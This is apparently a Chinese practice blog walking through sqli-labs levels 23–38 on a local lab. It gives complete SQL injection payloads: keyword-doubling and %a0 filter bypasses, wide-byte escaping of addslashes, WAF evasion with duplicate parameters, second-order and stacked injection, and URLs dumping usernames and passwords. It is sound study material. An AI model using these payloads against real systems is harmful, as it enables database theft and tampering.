前言
Less-23 过滤注释的显错注入
Less-24 二次注入
Less-25 过滤and和or的显错注入
Less-26 过滤空格和注释符的显错注入
一、空格绕过注入
二、extracvalue函数的显错注入
三、布尔盲注
Less-26a 过滤空格、注释符的布尔盲注
Less-27 过滤联合查询关键字的显错注入
Less-27a 过滤联合查询关键字的盲注
Less-28 过滤联合查询关键字的显错注入(带括号)
Less-28a 过滤联合查询关键字的盲注(带括号)
Less-29 过WAF之双参数显错注入
Less-30 过WAF之双参数盲注
Less-31 过WAF之双参数盲注(带括号)
Less-32 关于绕过addslashes()函数的显错注入(盲注)
Less-33 关于绕过addslashes()函数的注入
Less-34 关于绕过addslashes()函数的POST型注入
Less-35 关于绕过addslashes函数(非必须)的整数型注入
Less-36 关于绕过mysql_escape_string()函数的注入
Less-37 关于绕过mysql_escape_string()函数的POST型注入
Less-38 堆叠注入
本blog作为练习笔记, 文笔不才, 仅供参考, 不正之处望大神指正。
基本注入篇对应labs的23~38关:
第21和22关在 基础篇 重复了, 故从23关开始。
尝试注入单引号:
根据报错信息, 猜测sql语句可能是:
select * from table where id='$id' limit 0,1;
尝试用注释符, 发现无果, 应该是对注释符做了处理:
那么根据$id值是被一对单引号闭合的, 可以这样构造注入语句;
1' and '1'='1
于是, 注入后的sql语句就是:
select * from table where id='1' and '1'='1' limit 0,1;
发现用order by 不能爆, 原因参考: Mysql 解析顺序
那么这里就要用union来一个个猜解了.:
于是得到字段数为 3
也不一定要用 and '1'='1 来闭合单引号, 亦可以:
注入完成。
这题和之前的 Webug4.0 万能密码登陆 差不多, 原理都一样。
登录和注册新用户:
修改密码:
根据二次注入的原理, 我们可以注册一个"特殊的用户", 然后在修改密码的时候, 使sql语句发生改变, 任意执行一些命令, 从而达到注入的目的。
一般来说, 注册新用户的sql语句是:
insert into users(username, password) values($username, $password);
更改指定用户密码的sql语句:
update users set password='$new_passwd'
where username='$username' and password='$cur_passwd';
注入点主要在修改密码的时候
思路:
单引号用于和前面的单引号闭合, #号用于将后面的语句注释掉
将"特殊"的用户名和update语句, 当对用户 test'# 修改密码时候, 执行的sql为:
update users set password='$new_passwd' where username='test'# and password='$cur_passwd';
红色部分的语句都被注释掉了, 那么这个sql语句的作用就是 无条件地修改了用户test的密码
在执行之前, 先去数据库查看一下用户test的密码:
执行注入:
再查看一下test的密码:
注入完成!
那么先安装常规的套路来, 注入单引号:
发现id值被单引号闭合, 可以用payloa:
8' and '1'='1 或者 8' or '1'='1
两者都不可以...估计是对and和or作了过滤,
那么可以尝试试探注入了, 因为首先要判断出字段数, 才能有联合注入的突破口
方法一:
select 三个字段, 无报错
select 四个字段, 报错, 可知字段数为3
方法二:
可以多尝试几次, 看看程序到底是怎么过滤的, 可能是对关键字进行了替换成空, 也可能是进行大小写转换等:
1) 将and和or关键字替换成空
这种是畸形注入了, 就要试试多加几个字母以抵消它的替换:
oorr => or
aandnd => and
等...
2) 大小写转换等变形
大小写变形 => or=Or=oR=OR
利用运算符 => or=||、and=&& (有时需要转为url编码)
URL编码 => #=%23,Hex编码——~=0x7e
添加注释 => /*or*/
最终尝试知:
双写关键字 可绕过:
猜测代码是对关键字进行了替换为空的操作, 查看源码果然如此:
但是大小写不可以绕过, 因为 /i 正则匹配了大小写。
知道了字段数以及过滤类型之后, 就可以联合注入了, 注意, id值要错误, 引导显错
其他的就很简单了。
注入单引号, 发现id本身被单引号闭合住,
所以可以直接注入:
发现被过滤了空格, admin3用户的id是11, 过滤得很厉害..(试了蛮久没头绪)
看一下源码:
过滤函数把and、or、注释符以及空格都给过滤了...
绕and和or不难, 用 && 和 || 就行,
但是, 绕空格就难了, 有大神写的脚本判断哪些 URL 编码能够代替空格 (改进了一下):
import requests
def changeToHex(num):
tmp = hex(i).replace("0x", "")
if len(tmp)<2:
tmp = '0' + tmp
return "%" + tmp
req = requests.session()
for i in range(0,256,1):
i = changeToHex(i)
url = "http://localhost:2333/Less-26/index.php?id=1'" + i + "%26%26" + i + "'1'='1"
ret = req.get(url)
if 'Dumb' in str(ret.content):
print("good,this can use:" + i)
运行结果:
下面给出姿势:
%09: TAB键(水平)
%0a: 新建一行
%0c: 新的一页
%0d: return功能
%0b: TAB键(垂直)
%a0: 空格
/**/: 可绕过空格过滤
/*%0a*/: 强行制造空格 (注释符被过滤时用)
于是, 有三种方法: 空格绕过注入, extracvalue函数的显错注入, 布尔盲注
'%a0||%a0'1'='1 // 实际上是: ' || '1'='1
和上一题方法一样, 盲爆:
http://localhost:2333/Less-26/index.php
?id=1'%a0union%a0select%a01,2,3%a0||%a0'1'='1
字段数为3
http://localhost:2333/Less-26/index.php
?id=0'%a0union%a0select%a01,database(),2%a0||%a0'1'='1
http://localhost:2333/Less-26/index.php
?id=0'%a0union%a0select%a01,group_concat(table_name),2%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0||%a0'1'='1
这样注入发现把information_schema的所有表给输出了, 原因是什么呢?
是因为后面用了一个or的运算符 || 使where任何时候都成立, 正确应该:
http://localhost:2333/Less-26/index.php
?id=0'%a0union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()),2%a0||%a0'1'='1
http://localhost:2333/Less-26/index.php
?id=0'%a0union%a0select%a01,(select%a0group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_name="users"),2%a0||%a0'1'='1
http://localhost:2333/Less-26/index.php
?id=0'%a0union%a0select%a01,(select%a0group_concat(id,":",username,":",passwoorrd)%a0from%a0security.users),2%a0||%a0'1'='1
用这种方法的话, 就不用考虑绕过空格了, 随心:
http://localhost:2333/Less-26/index.php
?id=0'||extractvalue(1,concat(':',(database()),':'))||'1'='1
http://localhost:2333/Less-26/index.php
?id=0'||extractvalue(1,concat(':',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),':'))||'1'='1
http://localhost:2333/Less-26/index.php
?id=0'||extractvalue(1,concat(':',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name="users")),':'))||'1'='1
http://localhost:2333/Less-26/index.php
?id=0'||extractvalue(1,concat(':',(select(group_concat(id,":",username,":",passwoorrd))from(security.users)),':'))||'1'='1
这里一次只能爆一条数据, 要limi偏移注入, 但是limit需要空格, 所以不能用limit,
最后可以用where来获取指定用户(用什么取什么):
?id=0'||extractvalue(1,concat(':',(select(group_concat(id,":",username,":",passwoorrd))from(security.users)where(username="admin")),':'))||'1'='1
一般的布尔盲注payload为:
' and ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1,1))>100#
对于这关严格的过滤条件, 用下面的payload:
http://localhost:2333/Less-26/index.php
?id=1'%26%26(ascii(mid((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),1,1))>65)%26%26'1'='1
篇幅过大, 知道原理就好。
判断注入类型, 发现和上一题一样, 过滤了空格和注释符, 而且没有错误回显:
用上一题的第三种方法即可。
常规判断, 发现空格被过滤..:
那么这里可以用前两题的方法来做:, 尝试绕过union和select:
http://localhost:2333/Less-27/index.php
?id=1'%a0uunionnion%a0sselectelect%a01,2,3%a0||%a0'1'='1
为什么select无法绕过...? 看看源码, 发现select用了\m (多行匹配):
但是, 仔细观察发现, 他并没有加参数/i来对大小写进行过滤, 只是枚举了一小部分来过滤; 对于空格的绕过, 它过滤了注释符, 所以不能用注释符(/**/)来绕过, 但可以用 %a0 或者 /*%0a*/ 来绕过
比如, 对于select只是过滤了Select和SELECT的情况, 对于sELEct并没有过滤; (union也同理)
http://localhost:2333/Less-27/index.php
?id=0'%a0uNion%a0sElEct%a01,database(),3%a0||'1'='1
http://localhost:2333/Less-27/index.php
?id=0'%a0uNion%a0sElEct%a01,(sElEct%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=database()),3%a0||'1'='1
http://localhost:2333/Less-27/index.php
?id=0'%a0uNion%a0sElEct%a01,(sElEct%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name="users"),3%a0||'1'='1
http://localhost:2333/Less-27/index.php
?id=0'%a0uNion%a0sElEct%a01,(sElEct%a0group_concat(id,':',username,':',password)%a0from%a0security.users),3%a0||'1'='1
---------------------------------------------------------------------------------------------------------
另外, 当然这里也可以用extractvalue函数来显错注入, 但是没有select, 接下来爆表很难进行,,,
http://localhost:2333/Less-27/index.php
?id=1' || extractvalue(1,concat(':',database(),':')) || '1'='1
和上一题一样, 唯一不同的是双引号的盲注:
可以用上一题的方法, 只需将单引号改为双引号即可:
http://localhost:2333/Less-27a/index.php
?id=0"%a0uNion%a0sElEct%a01,user(),"3
这里尝试使用布尔盲注或延时注入, (应题目标题要求 = =)
http://localhost:2333/Less-27a/index.php
?id=1"%26%26ascii(mid(database(),1,1))>160%26%26"1"="1
http://localhost:2333/Less-27a/index.php
?id=1"%26%26ascii(mid((sElEct(group_concat(table_name))from(information_schema.tables)where(table_schema="security")),1,1))=101%26%26"1"="1
http://localhost:2333/Less-27a/index.php
?id=1"%26%26ascii(mid((sElEct(group_concat(column_name))from(information_schema.columns)where(table_name="users")),1,1))=105%26%26"1"="1
http://localhost:2333/Less-27a/index.php
?id=1"%26%26ascii(mid((sElEct(group_concat(username,password))from(users)),1,1))=68%26%26"1"="1
这题遇到一个坑= =, 如下:
开始按照上一题来判断无误:
故判断sql语句为:
select * from users where id='$id';
继续注入, 发现不对....(本题没有过滤union和select):
很奇怪,,,继续想, 可能是有括号(看题目可知= =),
果然如此, 那为何不带括号的注入也成立呢?
之前我们注入的语句为:
1' and '1'='1
带入到sql中:
select * from users where id=('1' and '1'='1') // 红色为注入部分
可以看到有这种特殊性的存在..
所以当爆表的时候, 就要按下面的payload:
http://localhost:2333/Less-28/index.php
?id=0')%a0union%a0select%a01,(database()),('3
其他的就和上一题一样的了。
这题虽然说是用盲注, 但是实际上还是可以显错注入:
特殊的是, 这题的注释符没有过滤:
接下来就和上一题的一样了。
这关用了waf做防护:
当注入单引号时, 会被waf拦截:
不管怎么注入...都被waf(白名单)拦截了, 于是看了看源码, 发现waf只防护了一个id参数, 也就是说waf是只允许输入数字的:
所以我们可以传入两个id参数来欺骗waf:
http://localhost:2333/Less-29/login.php
?id=1&id=8
所以payload如下:
http://localhost:2333/Less-29/login.php
?id=1&id=0' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23
成功过waf
同样, 这关也是有waf, 经过测试, 发现和上一题一样, 也是只是防护了一个参数值:
我们继续通过传入两个参数值来过waf:
发现没有错误回显, 所以可以用布尔盲注或者延时注入, 下面给出布尔盲注payload:
http://localhost:2333/Less-30/login.php
?id=1&id=1" and ascii(mid(database(),1,1))=115%23
关于盲注, 不一定要直接上, 可以尝试将id=(一个错误值)来引导错误回显:
http://localhost:2333/Less-30/login.php
?id=1&id=0" union select 1,user(),database()%23
和前两题的方法一样, 不过这次看到是带括号的, 即id被括号和双引号闭合:
继续判断可知为盲注, 利用上一题的技巧, 将盲注显错, 注入payload:
http://localhost:2333/Less-31/login.php
?id=1&id=0") union select 1,user(),database()%23
输入单引号, 发现被addslashes()转义了:
addslashes()会将一些有特殊意义的字符进行转义处理, 防止sql语句被污染,
绕过addslashes()函数参考之前的blog: 宽字节注入
原理复述一下:
通过一个双字节组成一个汉字的原理,比如一个汉字‘我’的utf8编码为%E6%88%91 当我们使用?id=-1%df ' 这样的构造时,' 前面加的 \ 就会和%df 合在一起形成一个汉字,但是又不是一个正常汉字,但是起到了注掉 \ 的作用。
注入payload:
http://localhost:2333/Less-32/index.php
?id=0%df' union select 1,user(),database()%23
使用addslashes(), 需要将mysql_query设置为binary的方式,才能防御此漏洞。
和上一题一样的原理和payload:
http://localhost:2333/Less-33/index.php
?id=0%df' union select 1,user(),database()%23
正常登录:
尝试注入单引号:
和前两题一样, 判断是否可以宽字节绕过:
uname=admin%df' or 1=1%23 &passwd=admin&submit=Submit
结果是可以, 那么post的payload如下:
uname=admin%df' union select user(),database()%23 &passwd=admin&submit=Submit
这关直接注入单引号, 发现被addslashes函数转义了:
有的同学会直接按照前两题的方法直接杠,
但, 值得一提的是, 假如我们先判断是字符型注入还是整数型注入, 那么方法就不一样了:
http://localhost:2333/Less-35/index.php
?id=1 order by 3
http://localhost:2333/Less-35/index.php
?id=0 union select 1,user(),database()
通过程序的内部逻辑错误, 导致了addslashes函数功能的丧失,
这样就少做了很多功课去绕一些非必须的东西。
注入单引号, 发现被转义:
看看源码, 发现是被mysql_escape_string函数转义:
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00, \n, \r, \, ', ", \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
但是因mysql我们设置成gbk, 而程序默认编码是utf-8,所以mysql_real_escape_string()依旧能够被突破。(相反, 防止此类攻击就要把mysql编码设为utf-8, 因为服务器期待utf8
)
好了, 方法就是和 Less-32 一样的方法了:
http://localhost:2333/Less-36/index.php
?id=0%df' union select 1,user(),database()%23
在admin后面注入单引号, 再post出去, 发现被转义了:
那么就和上一题类似了, 只是请求方式不同而已:
uname=admin%df' union select user(),database()%23 &passwd=admin&submit=Submit
最后一关Less是关于下一主题的预告吧, 虽然用很常规的方法都可以注入成功, 但是并不侧重于注入爆数据; 而是考察堆叠注入:
http://localhost:2333/Less-38/index.php
?id=0' union select 1,user(),database(); insert into users(username,password) values('stack', 'stack')%23
发现第二条语句成功执行了。
堆叠注入(Stacked injections), 从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。
看看源码:
总的来说就是mysqli_mylti_query()这个函数可以执行用;分隔的多条语句。